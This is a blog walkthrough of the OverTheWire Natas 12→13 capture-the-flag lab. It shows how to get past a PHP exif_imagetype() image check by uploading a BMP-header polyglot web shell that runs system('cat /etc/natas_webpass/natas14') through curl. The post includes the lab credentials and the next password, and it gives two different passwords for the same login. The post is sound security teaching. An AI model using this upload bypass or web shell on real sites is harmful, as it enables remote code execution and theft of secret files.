Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Natas Level 12 → 13 tutorial!!

Login

URL: http://natas13.natas.labs.overthewire.org
Credentials: natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC

# Using curl (optional):
curl -u natas13:trbs5pCjCrkuSknBBKHhaBxq6Wm1j3LC http://natas13.natas.labs.overthewire.org/

homepage

Task

This level is another file upload challenge, but now the server verifies that the uploaded file is an image using exif_imagetype().

A little bit of Theory

From the source:

if (array_key_exists("filename", $_POST)) {
  $target_path = makeRandomPathFromFilename("upload", $_POST["filename"]);

  $err = $_FILES['uploadedfile']['error'];
  if ($err) {
    if ($err === 2) echo "The uploaded file exceeds MAX_FILE_SIZE";
    else echo "Something went wrong :/";
  } else if (filesize($_FILES['uploadedfile']['tmp_name']) > 1000) {
    echo "File is too big";
  } else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) {
    echo "File is not an image";
  } else {
    if (move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
      echo "The file <a href=\"$target_path\">$target_path</a> has been uploaded";
    }
  }
}

Key points:

  • The extension is still controlled by the hidden filename field (like Level 12).
  • The server accepts only images based on magic bytes (exif_imagetype() reads the first bytes).
  • We can prepend real image magic bytes to our PHP code to pass the image check, while still executing as PHP when saved with .php.

BMP magic bytes are simply BM. That’s the easiest header to prepend.

Solution (no Burp, curl-only)

  1. Create a tiny BMP+PHP “polyglot”

    Prepend BM (no newline) to valid PHP that prints the next password:

    BM<?php
    echo system("cat /etc/natas_webpass/natas14");
    ?>
    

    Save as shell13.php. Keep it under 1000 bytes.

  2. Upload with curl (force .php extension)

    curl -s -L -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY \
      -F "MAX_FILE_SIZE=1000" \
      -F "filename=shell.php" \
      -F "uploadedfile=@shell13.php" \
      http://natas13.natas.labs.overthewire.org/index.php
    

    The server responds with a link such as:

    The file <a href="upload/98myk053xn.php">upload/98myk053xn.php</a> has been uploaded
    
  3. Execute the uploaded script

    curl -s -L -u natas13:jmLTY0qiPZBbaKc9341cqPQZBJv7MQbY \
      "http://natas13.natas.labs.overthewire.org/upload/98myk053xn.php"
    

    The output contains the next level’s password (you may see BM at the start—ignore it).

Password

z3UYcr4v4uBpeX8f7EZbMHlzK4UR2XtQ

Troubleshooting

  • “File is not an image” → Make sure the file starts with BM (no newline/space before it).
  • Saved with .jpg → You forgot to override the hidden filename to a .php extension in your form data.
  • File too big → Keep the payload < 1000 bytes.
  • 404 on upload path → Use the exact random path returned by the server.

Great job 🎉 You bypassed exif_imagetype() by crafting a BMP+PHP polyglot and executed your own code to exfiltrate the next password. On to natas14!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with